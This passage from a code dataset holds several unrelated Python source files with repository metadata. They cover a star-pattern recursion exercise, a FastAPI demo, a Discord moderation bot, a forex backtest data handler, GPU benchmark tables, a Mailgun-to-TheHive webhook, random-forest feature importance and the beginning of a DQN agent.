txtfile:\n txtfile.write(\"image saved \" + path_export_color + \"\\n\")\n","repo_name":"Hv0nnus/GridNet","sub_path":"Python_Files/Manage_image.py","file_name":"Manage_image.py","file_ext":"py","file_size_in_byte":4441,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"24"}
+{"seq_id":"39984507526","text":"def drawStars(n, x):\n table = []\n if n == 3:\n return x\n else:\n for i in x:\n table.append(i*3)\n for i in x: \n # 중간에 x, 즉 n-1 에서 찍은 별 리스트의 길이를 곱하면 빈 공간의 길이가 딱 나온다. \n # 왜냐하면 딱 n//3의 길이로 리스트가 구성되기 때문이다.\n table.append(i+' '*len(x)+i)\n for i in x:\n table.append(i*3)\n return drawStars(n//3, table)\n \nn = int(input())\ntable_3 = ['***', '* *', '***']\ntable_n = drawStars(n, table_3)\nfor i in table_n:\n print(i)\n \n# 이 문제는 여러가지 답이 있었지만 재귀적으로 푼 답을 찾아보았다.\n# 처음에는 위 답이 맘에 들지 않았지만...\n# for 문을 이용해서 어떤 특정 상황에는 별을 찍지 않는 방법은\n# 재귀적으로 푼 문제가 아니라고 생각했고 돌고 돌아 다시 위 답을보니\n# 위 답이 재귀적으로 푼 문제더라... \n","repo_name":"brandonccccc/python-practice","sub_path":"백준/복습_bunggin12/9.재귀/2447_별찍기10.py","file_name":"2447_별찍기10.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"38964706829","text":"from fastapi import FastAPI\nimport random\n\n\n# コンソールから実行は以下のコマンド\n# $ python3 -m uvicorn challenge:app --reload\napp = FastAPI()\n\n@app.get(\"/\")\nasync def get_index():\n return {\"message\": \"hello world\"}\n\n\n@app.get(\"/echo/{data}\")\nasync def get_echo(data: str):\n return {\n \"message\": \"got the message: {0}\".format(data)\n }\n\n# 100分の1で当たるガチャ関数\ndef _exec_gacha():\n return random.randrange(0, 100) == 0\n\n@app.get(\"/gacha\")\nasync def get_gacha():\n message = \"you lose\"\n if _exec_gacha():\n message = \"you win\"\n return {\n \"message\": message\n }\n","repo_name":"iij/bootcamp","sub_path":"src/server-app/test-hands-on/exercises/exercise2/challenge.py","file_name":"challenge.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"ja","doc_type":"code","stars":55,"dataset":"github-code","pt":"24"}
+{"seq_id":"69924917822","text":"import discord\nfrom discord.ext import commands\nfrom time import sleep\nfrom aioconsole import aexec\n\nclass Moderation(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n \"\"\"Moderation Commands\n \n These are commands that are used to assist moderators and administrators moderate the server and keep it safe\n \"\"\"\n # Check if the user is the bot owner\n def is_bot_owner(ctx):\n return ctx.author.id == 457910942114512930\n\n # Create a predicate to check if the user is the bot owner\n def is_owner(ctx):\n return ctx.author.id == ctx.guild.owner.id\n\n # Create a predicate to check if the user is an adminisrator\n def is_admin(ctx):\n return ctx.author.guild_permissions.administrator\n\n # Create a predicate to check if the user is a moderator\n def is_mod(ctx):\n mod_role = ctx.guild.get_role(753088662090023042)\n return mod_role in ctx.author.roles\n\n # Eval command\n @commands.command(name='eval', hidden=True)\n @commands.check(is_bot_owner)\n async def _eval(self, ctx, *, body: str):\n # Variables for the exec command\n localVariables = {\n 'bot': self.bot,\n 'ctx': ctx,\n 'channel': ctx.channel,\n 'author': ctx.author,\n 'guild': ctx.guild,\n 'message': ctx.message\n }\n # Execute the code\n try:\n await aexec(body, localVariables)\n await ctx.message.add_reaction('✅')\n except Exception as e:\n await ctx.send(f'```py\\n{e}```')\n \n # Ban command\n @commands.command()\n @commands.check(is_admin)\n async def ban(self, ctx, member: discord.Member, *, reason: str):\n # Ban the user\n await member.ban(reason=reason + f' ({ctx.author.name}#{ctx.author.discriminator})')\n await ctx.send(f'{member.name} has been banned for {reason}')\n print(f'{member.name} has been banned for {reason}')\n\n # Unban command\n @commands.command()\n @commands.check(is_admin)\n async def unban(self, ctx, *, id: int):\n # Get the banned user\n user = await self.bot.fetch_user(id)\n\n # Unban the user\n await ctx.guild.unban(user)\n\n # Clear command\n @commands.command()\n @commands.check(is_mod or is_admin)\n async def clear(self, ctx, amount: int):\n # Delete the specified amount of messages\n await ctx.channel.purge(limit=amount+1)\n confirmation = await ctx.send(f'Cleared {amount} messages')\n print(f'Cleared {amount} messages')\n sleep(3)\n if confirmation:\n await confirmation.delete()\n\n\n # Kick command\n @commands.command()\n @commands.check(is_mod or is_admin)\n async def kick(self, ctx, member: discord.Member, *, reason: str):\n # Kick the user\n await member.kick(reason=reason + f' ({ctx.author.name}#{ctx.author.discriminator})')\n await ctx.send(f'{member.name} has been kicked for {reason}')\n print(f'{member.name} has been kicked for {reason}')\n \n # Slowmode command\n @commands.command()\n @commands.check(is_mod or is_admin)\n async def slowmode(self, ctx, seconds: int):\n # Set the slowmode\n await ctx.channel.edit(slowmode_delay=seconds)\n await ctx.send(f'Slowmode set to {seconds} seconds')\n print(f'Slowmode in {ctx.channel.name} set to {seconds} seconds')\n\n # Mute command\n @commands.command()\n @commands.check(is_mod or is_admin)\n async def mute(self, ctx, member: discord.Member, *, reason: str):\n # Mute the user\n await member.add_roles(ctx.guild.get_role(753342159444377611))\n await ctx.send(f'{member.name} has been muted for {reason}')\n print(f'{member.name} has been muted for {reason}')\n\n # Unmute command\n @commands.command()\n @commands.check(is_mod or is_admin)\n async def unmute(self, ctx, member: discord.Member):\n # Unmute the user\n await member.remove_roles(ctx.guild.get_role(753342159444377611))\n await ctx.send(f'{member.name} has been unmuted')\n print(f'{member.name} has been unmuted')\n \ndef setup(bot):\n bot.add_cog(Moderation(bot))","repo_name":"joqwer/generic-python-discord-bot","sub_path":"cogs/moderation.py","file_name":"moderation.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"5914511408","text":"from broker.data_handlers.data_handler import AbstractDataHandler\nfrom datetime import datetime\nfrom broker.symbol import Symbol\nimport numpy as np\nimport pandas as pd\nimport os\nfrom events import MarketEvent\n\n\nclass CSVDataHandler(AbstractDataHandler):\n def __init__(self,events_queue, symbol_list,account,csv_dir='sample_data/', timeframe='D1',\n start_date = datetime(2001,1,1), end_date=datetime(2015,1,1)):\n self.events = events_queue\n self.instruments_list = symbol_list\n self.account = account\n self.start_date = start_date\n self.end_date = end_date\n self.csv_dir = csv_dir\n self.timeframe = timeframe\n\n # Containers for the data and time index to align\n self.data={}\n self.latest_data={}\n self.data_generator={}\n self.comb_index = None\n\n # Container for Symbol (objects)\n self.symbols_obj = {}\n\n # Variables for backtesting\n self.continue_backtest = True\n self.data_length = 0\n\n # Fetch the data from database\n self.pairs_available = self._get_instruments_info()\n self._load_data()\n\n\n def _get_instruments_info(self):\n pairs_available = []\n directory = self.csv_dir+self.timeframe\n for file in os.listdir(directory):\n if file.endswith(\".csv\"):\n pairs_available.append(file[:-4])\n\n return pairs_available\n\n def _load_and_format_csv(self,symbol,timeframe):\n file_adress = self.csv_dir+timeframe+'/'+symbol+'.csv'\n csv_data = pd.read_csv(file_adress,header=0, index_col=0,parse_dates={'datetime': [1, 2]})\n csv_data.drop('',axis=1,inplace=True)\n csv_data.columns = ['open','low','high','close']\n\n return csv_data[['open','high','low','close']]\n\n def _load_data(self):\n for instrument in self.instruments_list:\n if instrument not in self.pairs_available:\n print('Symbol %s not in the csv_dir specified' %instrument)\n break\n\n conversion_rate = instrument[-3:] + self.account.currency\n inverse_rate = conversion_rate[-3:]+conversion_rate[:3]\n symbol = Symbol(instrument,self.timeframe,conversion_rate,inverse_rate,0)\n\n #Get the data\n csv_data = self._load_and_format_csv(instrument,self.timeframe)\n self.data[instrument] = csv_data.truncate(before=self.start_date, after=self.end_date)\n self.symbols_obj[instrument]=symbol\n\n #Create or combine the list of dates\n if self.comb_index is None:\n self.comb_index = self.data[instrument].index\n else:\n self.comb_index.union(self.data[instrument].index)\n\n #Set the latest_data to none for the instrument\n self.latest_data[instrument]=[]\n\n self.data_length = len(self.comb_index)\n\n #Conversion rate data\n for instrument,symbol in self.symbols_obj.items():\n conversion_symbol = symbol.conversion_rate\n inverse_symbol = symbol.conversion_rate[3:] + symbol.conversion_rate[:3]\n self.latest_data[conversion_symbol] = []\n\n if conversion_symbol in self.pairs_available:\n data = self._load_and_format_csv(conversion_symbol,self.timeframe)\n self.data[conversion_symbol]=data\n elif inverse_symbol in self.pairs_available:\n data = self._load_and_format_csv(inverse_symbol,self.timeframe)\n self.data[conversion_symbol]= 1/data\n elif conversion_symbol[:3] == conversion_symbol[3:]:\n self.data[conversion_symbol] = pd.DataFrame(np.ones(len(self.comb_index)),index=self.comb_index,columns=['close'])\n else:\n print('Pairs %s and %s not available in DB' % (conversion_symbol, inverse_symbol))\n\n #create the generators\n self.create_generators()\n\n def create_generators(self):\n #Reindex the dataframes and create generators\n self.data_generator.clear()\n for instrument,symbol in self.symbols_obj.items():\n self.data_generator[instrument]=self.data[instrument].reindex(index=self.comb_index,method='pad').itertuples()\n self.data_generator[symbol.conversion_rate] = self.data[symbol.conversion_rate].reindex(index=self.comb_index,method='pad').itertuples()\n\n def reset_generators(self):\n self.create_generators()\n self.continue_backtest=True\n\n def _get_new_bar(self,symbol):\n # Returns the latest bar from the data feed.\n for b in self.data_generator[symbol]:\n yield b\n\n def get_latest_bars(self, symbol, N=1):\n # Returns the last N bars from the latest_symbol list.\n try:\n bars_list = self.latest_data[symbol]\n except KeyError:\n print(\"Symbol %s is not available in the historical data set.\" % symbol)\n raise\n else:\n return bars_list[-N:]\n\n def get_latest_bar_value(self,symbol,val_type='close'):\n # Returns of OHLCVI values form the pandas Bar series object.\n try:\n bars_list = self.latest_data[symbol]\n except KeyError:\n print(\"That symbol is not available in the historical data set.\")\n raise\n else:\n return getattr(bars_list[-1], val_type)\n\n\n def get_latest_bars_values(self, symbol, val_type='close',N=1):\n # Returns the last N bar values from the latest_symbol list, or N-k if less available.\n bars_list = self.get_latest_bars(symbol, N)\n\n return np.array([getattr(b, val_type) for b in bars_list])\n\n def get_latest_bar_datetime(self, symbol):\n # Returns a Python datetime object for the last bar.\n try:\n bars_list = self.latest_data[symbol]\n except KeyError:\n print(\"That symbol is not available in the historical data set.\")\n raise\n else:\n return bars_list[-1][0]\n\n def update_bars(self):\n # pushes the latest bar to the latest_symbol_data structure for all symbols in the symbol list.\n for s in self.data_generator:\n try:\n bar = next(self._get_new_bar(s))\n except StopIteration:\n self.continue_backtest = False\n else:\n if bar is not None:\n self.latest_data[s].append(bar)\n\n self.events.put(MarketEvent())\n\n def get_home_quote(self, currency):\n # Returns the conversion factor\n quote = self.get_latest_bar_value(currency)\n return quote","repo_name":"JeromeMoreau/pyTrading2","sub_path":"broker/data_handlers/CSV_data_handler.py","file_name":"CSV_data_handler.py","file_ext":"py","file_size_in_byte":6630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"4898622149","text":"import upcycle as U\nimport numpy as np\nimport pandas as pd\n\ndef train_data(name, stats : U.nvdb.NvidiaAppStats):\n peak = U.nvdb.a100_peak[stats.train_dtype]\n app_flops = U.apps.mlperf_v1_apps[name].train_flops\n\n large_perf = stats.train_large_perf\n large_eff = np.round(large_perf * app_flops / peak * 100, 2)\n\n if stats.train_small_perf is not None:\n small_perf = stats.train_small_perf\n small_eff = np.round(small_perf * app_flops / peak * 100, 2)\n else:\n small_perf = None\n small_eff = None\n\n return name, np.round(app_flops / 1e9, 2), large_perf, large_eff, small_perf, small_eff\n\n\ndef infer_data(name, stats : U.nvdb.NvidiaAppStats):\n peak = U.nvdb.a100_peak[stats.infer_dtype]\n app_flops = U.apps.mlperf_v1_apps[name].infer_flops\n\n on_perf = stats.infer_online_perf\n on_eff = np.round(on_perf * app_flops / peak * 100, 2)\n\n off_perf = stats.infer_offline_perf\n off_eff = np.round(off_perf * app_flops / peak * 100, 2)\n\n return name, np.round(app_flops / 1e9, 2), on_perf, on_eff, off_perf, off_eff\n\nidata = {\n infer_data(name, stats)\n for name, stats in U.nvdb.a100_perf.items()\n if stats.infer_online_perf is not None\n}\n\ninfer_dframe = pd.DataFrame({\n 'Name': [d[0] for d in idata],\n 'GOPs': [d[1] for d in idata],\n 'On. Perf.': [d[2] for d in idata],\n 'On. Eff. (%)': [d[3] for d in idata],\n 'Off. Perf.': [d[4] for d in idata],\n 'Off. Eff. (%)': [d[5] for d in idata]\n})\n\ntdata = {\n train_data(name, stats)\n for name, stats in U.nvdb.a100_perf.items()\n if stats.train_large_perf is not None\n}\n\ntrain_dframe = pd.DataFrame({\n 'Name': [d[0] for d in tdata],\n 'GOPs': [d[1] for d in tdata],\n 'Small Perf.': [d[4] for d in tdata],\n 'Small Eff. (%)': [d[5] for d in tdata],\n 'Large Perf.': [d[2] for d in tdata],\n 'Large Eff. (%)': [d[3] for d in tdata],\n})\n\nprint('Inference Data:')\nprint(infer_dframe)\nprint()\nprint('Training Data:')\nprint(train_dframe)\nprint()\n\n# print(infer_dframe.style.to_latex())\n","repo_name":"VerticalResearchGroup/upcycle","sub_path":"test/nvdata.py","file_name":"nvdata.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"19850675286","text":"\nfrom preprocessing.preprocessing import PreProcessing\nfrom model_exec.learning import Learning\n\nfrom model.simple_autoencoder import SimpleAutoencoder\nfrom model_exec.config import Config\n\ndate_size = 60000\ntest_size = 10000\n\n\ndef main():\n autoencoder = SimpleAutoencoder.make_model()\n cbs = SimpleAutoencoder.set_callbacks(\"autoencoder.hdf5\")\n\n train_x, train_y = PreProcessing().make_train_data(date_size)\n test_x, test_y = PreProcessing().make_train_data(test_size)\n hist = Learning.run_with_test(\n autoencoder, train_x, train_y, test_x, test_y, cbs)\n\n # SimpleAutoencoder.save_model(autoencoder, \"autoencoder.hdf5\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"if001/cnn_autoencoder","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"6202699276","text":"from __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport requests\nimport json\nimport os\nimport time\nimport uuid\nimport logging\nfrom thehive4py.api import TheHiveApi\nfrom thehive4py.models import Alert, AlertArtifact, CustomFieldHelper\nfrom flask import Flask, Response, render_template, request, flash, redirect, url_for\nfrom config import Config\n\napp = Flask(__name__)\napp.config.from_object(Config)\n\n@app.route('/create_alert', methods=['POST'])\ndef create_alert():\n\n # Get request data\n body = request.form.get('body-plain')\n headers = request.form.get('message-headers')\n subject = request.form.get('subject')\n sender = request.form.get('sender')\n recipient = request.form.get('recipient')\n\n # Configure logging\n logging.basicConfig(filename=app.config['LOG_FILE'], filemode='a', format='%(asctime)s - mailgun2thehive - %(levelname)s - %(message)s', level=logging.INFO)\n logging.info(json.dumps(subject))\n\n # Configure API\n api = TheHiveApi(app.config['HIVE_URL'], app.config['API_KEY'])\n\n # Configure artifacts\n artifacts = []\n\n # Get attachments, if any\n for key in request.files:\n file = request.files[key]\n logging.info(key)\n\n file.save(key)\n artifacts.append(AlertArtifact(dataType='file', tags=[key], data=key))\n\n # Tags list\n tags=['mailgun']\n\n # Prepare alert\n sourceRef = str(uuid.uuid4())[0:6]\n alert = Alert(title=\"Mailgun - \" + sender + \" - \" + subject,\n tlp=2,\n tags=tags,\n description=\"**Email body:**\\n\\n\"+body+\"\\n\\n**Message Headers:**\\n\\n\"+headers,\n type='external',\n source='mailgun',\n artifacts=artifacts,\n sourceRef=sourceRef)\n\n # Create the alert\n print('Create Alert')\n print('-----------------------------')\n id = None\n response = api.create_alert(alert)\n if response.status_code == 201:\n logging.info(json.dumps(response.json(), indent=4, sort_keys=True))\n print(json.dumps(response.json(), indent=4, sort_keys=True))\n print('')\n id = response.json()['id']\n else:\n print('ko: {}/{}'.format(response.status_code, response.text))\n sys.exit(0)\n\n # Delete attachments, if any\n for key in request.files:\n os.remove(key)\n\n # Return\n return \"Hive Alert Created\"\n","repo_name":"ReconInfoSec/mailgun2thehive","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"24"}
+{"seq_id":"43005162242","text":"#!/usr/bin/env python\n# coding: utf-8\n'''\n### Extract feature importance random forest models for ChenOoi2023_ICCW\nThis python script contains scripts to extract feature importance from\nthe random forest models in ChenOoi2023_ICCW.\n\n### Prerequisites\nThis code assumes that you have:\n1. Already finishing training the models and saved them in a .sav format\nThis code imports the saved model from the .sav format.\n\nWritten by Leon Ooi and CBIG under MIT license:\nhttps://github.com/ThomasYeoLab/CBIG/blob/master/LICENSE.md\n'''\n\n########################################################\n# import packages\n########################################################\nfrom datetime import datetime\nfrom sklearn.tree import export_text\nfrom sklearn.utils import check_random_state\nfrom sklearn.metrics import r2_score\nfrom sklearn.metrics import mean_squared_error\nimport numpy as np\nimport pandas as pd\nimport scipy.io as sio\nimport pickle\nimport sys\nimport os\n\n########################################################\n# initialize paths and inputs\n########################################################\n# required inputs\nfold_num = int(sys.argv[1])\nbehav_num = int(sys.argv[2])\ncurr_sample = int(sys.argv[3])\nresults_dir = sys.argv[4]\n\n# define output and input directories: MODIFY HERE IF NEEDED\nkrr_dir = results_dir + '/KRR/'\noutput_dir = results_dir + '/RF/'\nfc_csv = os.getenv('CBIG_REPDATA_DIR') + \\\n '/stable_projects/predict_phenotypes' + '/ChenOoi2023_ICCW/input' \\\n + '/ICCW_5260_FC.csv'\n\n# custom paths to required folders in krr_dir\ny_regressed = krr_dir + str(curr_sample) + '/y/fold_' + str(\n fold_num) + '/y_regress_all_score.mat'\nfolds = krr_dir + str(curr_sample) + '/no_relative_5_fold_sub_list.mat'\n\n# create output folder\noutput_folder = 'behav_' + str(behav_num) + '/rng0/' + 'fold_' + str(fold_num)\noutput_path = os.path.join(output_dir, str(curr_sample), output_folder)\nif not os.path.exists(output_path):\n os.makedirs(output_path)\n\n# print inputs for reference in log file\nprint(\"---------------------\")\nprint(\"fold_num:\" + str(fold_num))\nprint(\"behav_num:\" + str(behav_num))\nprint(\"curr_sample:\" + str(curr_sample))\nprint(\"Generating results in:\" + output_dir)\nprint(\"---------------------\")\n\n\n########################################################\n# initialize functions for analysis\n########################################################\n# function to get bootstrap samples from RF tree\ndef _generate_sample_indices(random_state, n_samples):\n \"\"\"\n This function regenerates the indices that were sampled\n given a specified random state\n \"\"\"\n random_instance = check_random_state(random_state)\n sample_indices = random_instance.randint(0, n_samples, n_samples)\n\n return sample_indices\n\n\ndef _generate_unsampled_indices(random_state, n_samples):\n \"\"\"\n This function regenerates the indices that were left out\n given a specified random state\n \"\"\"\n sample_indices = _generate_sample_indices(random_state, n_samples)\n sample_counts = np.bincount(sample_indices, minlength=n_samples)\n unsampled_mask = sample_counts == 0\n indices_range = np.arange(n_samples)\n unsampled_indices = indices_range[unsampled_mask]\n\n return unsampled_indices\n\n\n########################################################\n# start processing\n########################################################\n# load files\nprint(\"Load files...\")\nfold_y = sio.loadmat(y_regressed)\nall_fold = sio.loadmat(folds)\n\n# get variables from files\nbehav_num_tmp = behav_num\ncurr_y = fold_y['y_resid'][:, (behav_num_tmp - 1)]\n\n# pad array to full size\nmissing_vals = 5260 - len(curr_y)\ncurr_y = np.pad(curr_y, (0, missing_vals))\nfc = pd.read_csv(fc_csv)\n\n# get fold subjects\ntrain_idx = [bool(i) for i in all_fold['sub_fold'][fold_num - 1][0][1] == 0]\ntest_idx = [bool(i) for i in all_fold['sub_fold'][fold_num - 1][0][1] == 1]\n\n# normalize fc\nfc_norm = (fc - np.mean(fc, axis=0)) / np.std(fc, axis=0)\n\n# split into train and test\ntest_y = curr_y[test_idx]\ntrain_y = curr_y[train_idx]\ntest_X = fc_norm.iloc[test_idx, :]\ntrain_X = fc_norm.iloc[train_idx, :]\n\n# load model\nregr = pickle.load(\n open(output_path + '/ABCD_RF_behav_' + str(behav_num) + '.sav', 'rb'))\n\n# save predicted y\ny_pred = regr.predict(train_X)\n# save to csv\ny_pred_csv = pd.DataFrame(np.array(y_pred), columns=['y_pred'])\ny_pred_csv.to_csv(\n output_path + '/ABCD_RF_behav_' + str(behav_num) + '_ypred.csv',\n index=False)\n\n########################################################\n# start conditional feature importance extraction\n########################################################\n# setttings for ocndition permutation\nperm_amt = 5\ncorr_thresh = 0.1\n\n# initialize variables\nX_sample = train_X.to_numpy(dtype='float32')\nn_samples = train_X.shape[0]\nn_feats = train_X.shape[1]\nn_fivals = np.zeros((n_feats, 1))\n\n# extract permutation score for 3 metrics\nfivals_mse = np.zeros((n_feats, 1))\nfivals_r2 = np.zeros((n_feats, 1))\nfivals_corr = np.zeros((n_feats, 1))\n\n# start permutation\nprint(\"---------------------\")\nprint(\"Start permutation =\", datetime.now())\ne_count = 0\n# iterate over each tree\nfor estimator in regr.estimators_:\n e_count += 1\n print('\\t Estimator:' + str(e_count))\n unsampled_indices = _generate_unsampled_indices(estimator.random_state,\n n_samples)\n\n # get predictor boundaries\n f_idx = []\n thresh = []\n decision_rules = export_text(estimator)\n print(decision_rules)\n\n for line in decision_rules.split('\\n'):\n for substr in str.split(line):\n if \"feature\" in substr:\n feature_info = substr.split('_')\n f_idx.append(int(feature_info[1]))\n try:\n thresh.append(float(substr))\n except ValueError:\n pass\n\n # change into tuple\n fidx_thresh_pairs = list(zip(f_idx, thresh))\n uniq_pairs = list(set(fidx_thresh_pairs))\n\n # get OOB initial val\n p_estimator = estimator.predict(\n X_sample[unsampled_indices, :], check_input=False)\n p_estimator = p_estimator[:, np.newaxis]\n init_mse = mean_squared_error(train_y[unsampled_indices], p_estimator)\n init_r2 = r2_score(train_y[unsampled_indices], p_estimator)\n init_corr = np.corrcoef(train_y[unsampled_indices],\n np.squeeze(p_estimator))[0, 1]\n\n for feat, val in uniq_pairs: # ignore permutation within site\n feat_idx = feat\n perm_mse = np.zeros((perm_amt, 1))\n perm_r2 = np.zeros((perm_amt, 1))\n perm_corr = np.zeros((perm_amt, 1))\n\n # find number of groups to permute\n perm_dict = {}\n for idx in range(0, len(uniq_pairs)):\n check_feat_idx = uniq_pairs[idx][0]\n # check if same feature, skip if so\n if feat_idx == check_feat_idx:\n continue\n # check if correlation with other features passes threshold\n check_corr = np.corrcoef(X_sample[:, feat_idx],\n X_sample[:, check_feat_idx])[0, 1]\n if abs(check_corr) <= corr_thresh:\n continue\n else:\n # add to dictionary\n if str(check_feat_idx) not in perm_dict:\n perm_dict[str(check_feat_idx)] = []\n perm_dict[str(check_feat_idx)].append(uniq_pairs[idx][1])\n\n # check if permutation passes threshold\n for r_seed in range(0, perm_amt):\n Xk_perm = X_sample[unsampled_indices, :]\n g_indices = np.ones((Xk_perm.shape[0], 1))\n g_count = 1\n # randomly permute within each group\n if perm_dict:\n for item in perm_dict:\n g_count = g_count * (len(perm_dict[item]) + 1)\n # multiply by number of groups\n g_indices = g_indices * (len(perm_dict[item]) + 1)\n sorted_bounds = perm_dict[item]\n sorted_bounds.sort()\n for bound in sorted_bounds:\n # label groups with ascending index based on size\n g_indices[Xk_perm[:, int(item)] >= bound] -= 1\n\n # permute within groups\n g_indices = np.squeeze(g_indices)\n for g in range(1, g_count + 1):\n if np.sum(g_indices == g) < 5:\n print(\"Warning: Less than 5 samples!\")\n bef_perm_idx = np.where(g_indices == g)[0]\n af_perm_idx = np.random.RandomState(\n seed=r_seed).permutation(bef_perm_idx)\n Xk_perm[bef_perm_idx, feat_idx] = Xk_perm[af_perm_idx,\n feat_idx]\n\n # find accuracy\n p_estimator = estimator.predict(Xk_perm, check_input=False)\n p_estimator = p_estimator[:, np.newaxis]\n # save permuted feature importance metrics for each tree\n perm_mse[r_seed] = mean_squared_error(train_y[unsampled_indices],\n p_estimator)\n perm_r2[r_seed] = r2_score(train_y[unsampled_indices], p_estimator)\n perm_corr[r_seed] = np.corrcoef(train_y[unsampled_indices],\n np.squeeze(p_estimator))[0, 1]\n # compute final feature importance metric\n fivals_mse[feat_idx] += np.mean(perm_mse) - init_mse\n fivals_r2[feat_idx] += np.mean(perm_r2) - init_r2\n fivals_corr[feat_idx] += np.mean(perm_corr) - init_corr\n n_fivals[feat_idx] += 1\n# average values\nfivals_mse /= n_fivals\nfivals_r2 /= n_fivals\nfivals_corr /= n_fivals\n\n# set nan to zero\nfivals_mse[np.isnan(fivals_mse)] = 0\nfivals_r2[np.isnan(fivals_r2)] = 0\nfivals_corr[np.isnan(fivals_corr)] = 0\n\nprint(\"End permutation =\", datetime.now())\nprint(\"---------------------\")\n\n########################################################\n# extract Haufe feature importance\n########################################################\ndemean_y_pred = y_pred - np.mean(y_pred)\ndemean_X_train = train_X.to_numpy().T - np.mean(train_X)[:, np.newaxis]\n\nfivals_Haufe = np.dot(demean_X_train, demean_y_pred) / train_X.shape[0]\nfivals_Haufe = fivals_Haufe[:, np.newaxis]\n\n########################################################\n# save results to csv\n########################################################\n# save accuracy\nacc_csv = pd.DataFrame(\n np.array([\n np.corrcoef(regr.predict(test_X), test_y)[0, 1],\n r2_score(test_y, regr.predict(test_X))\n ])).T\nacc_csv.set_axis(['corr', 'COD'], axis=1, inplace=True)\nacc_csv.to_csv(\n output_path + '/ABCD_RF_behav_' + str(behav_num) + '_predacc.csv',\n index=False)\n# save feature importance\nfi_csv = pd.DataFrame(\n np.concatenate((fivals_mse, fivals_r2, fivals_corr, fivals_Haufe), axis=1),\n columns=['fi_mse', 'fi_r2', 'fi_corr', 'fi_Haufe'])\nfi_csv.to_csv(\n output_path + '/ABCD_RF_behav_' + str(behav_num) + '_fi.csv', index=False)\n","repo_name":"ThomasYeoLab/CBIG","sub_path":"stable_projects/predict_phenotypes/ChenOoi2023_ICCW/regression/RF/CBIG_ICCW_RF_interpretation.py","file_name":"CBIG_ICCW_RF_interpretation.py","file_ext":"py","file_size_in_byte":10988,"program_lang":"python","lang":"en","doc_type":"code","stars":513,"dataset":"github-code","pt":"24"}
+{"seq_id":"8656544368","text":"import torch\nimport torch.nn.functional as f\nimport torch.optim as optim\nimport random, logging, os\nimport numpy as np\nfrom collections import namedtuple, deque\nfrom minatar import Environment\nfrom utils.Replay_Buffer import replay_buffer, prioritized_replay_buffer\nfrom utils.Agent_Nets import Q_ConvNet\nfrom tensorboardX import SummaryWriter\nimport argparse\nfrom tqdm import tqdm\nimport time\nfrom run_evaluation import Eval_after_Train\n\n\ntransition = namedtuple('transition', 'state, action, reward, next_state, done')\nparser = argparse.ArgumentParser(description='MinAtar')\nparser.add_argument('--id', type=str, default='DuelingDQN', help='Experiment ID')\nparser.add_argument('--seed', type=int, default=0, help='Random seed')\nparser.add_argument('--game', type=str, default='asterix', help='Game')\nparser.add_argument('--use-cuda', type=bool, default=True, help='Disable CUDA')\nparser.add_argument('--batch-size', type=int, default=32, metavar='SIZE', help='Batch size')\nparser.add_argument('--memory-capacity', type=int, default=int(1e5), metavar='CAPACITY', help='Experience replay memory capacity')\nparser.add_argument('--target-update', type=int, default=int(1e3), metavar='τ', help='Number of steps after which to update target network')\nparser.add_argument('--T-max', type=int, default=int(5e6), metavar='STEPS', help='Number of training steps')\nparser.add_argument('--first-n-frames', type=int, default=int(1e5), metavar='STEPS', help='Number of random')\nparser.add_argument('--learn-start', type=int, default=int(5e3), metavar='STEPS', help='Number of steps before starting training')\nparser.add_argument('--start-epsilon', type=float, default=1, metavar='STEPS', help='Start Epsilon')\nparser.add_argument('--end-epsilon', type=float, default=0.1, metavar='STEPS', help='End Epsilon')\nparser.add_argument('--learning-rate', type=float, default=0.00025, metavar='η', help='Learning rate')\nparser.add_argument('--grad-momentum', type=float, default=0.95, metavar='η', help='Adam')\nparser.add_argument('--squared-grad-momentum', type=float, default=0.95, metavar='η', help='Adam')\nparser.add_argument('--min-squared-grad', type=float, default=0.01, metavar='η', help='Adam')\nparser.add_argument('--gamma', type=float, default=0.99, metavar='γ', help='Discount factor')\n\nparser.add_argument('--double', type=bool, default=False, help='Double DQN')\nparser.add_argument('--dueling', type=bool, default=True, help='Dueling Network Architecture')\nparser.add_argument('--n-step', type=int, default=1, help='Multi-step DQN')\nparser.add_argument('--distributional', type=bool, default=False, help='Distributional DQN')\nparser.add_argument('--noisy', type=bool, default=False, help='Noisy DQN')\nparser.add_argument('--per', type=bool, default=False, help='Periorized Experience Replay')\n\nclass DQN_Agent():\n def __init__(self, args):\n self.args = args\n self.seed = args.seed\n random.seed(self.seed)\n np.random.seed(self.seed)\n torch.manual_seed(self.seed)\n if torch.backends.cudnn.enabled:\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n if torch.cuda.is_available() and args.use_cuda:\n args.device = torch.device('cuda')\n torch.cuda.manual_seed(np.random.randint(1, 10000))\n else:\n args.device = torch.device('cpu')\n self.results_dir = os.path.join('results/alg={}/env={},seed={}'.format(args.id, args.game, args.seed))\n if not os.path.exists(self.results_dir):\n os.makedirs(self.results_dir + '/saved_models')\n os.makedirs(self.results_dir + '/logs')\n self.writer = SummaryWriter(self.results_dir + '/logs')\n print(' ' * 26 + 'Options')\n self.options_file = open(self.results_dir + \"/options.txt\", \"w\")\n for k, v in vars(args).items():\n print(' ' * 26 + k + ': ' + str(v))\n self.options_file.write(k + ': ' + str(v) + '\\n')\n self.options_file.write(\"start time\" + ': ' + time.strftime('%Y-%m-%d-%H-%M-%S', time.localtime(time.time())) + '\\n')\n self.act_env = Environment(args.game)\n self.obs_dim = self.act_env.state_shape()[2]\n self.act_dim = self.act_env.num_actions()\n self.QValue_Net 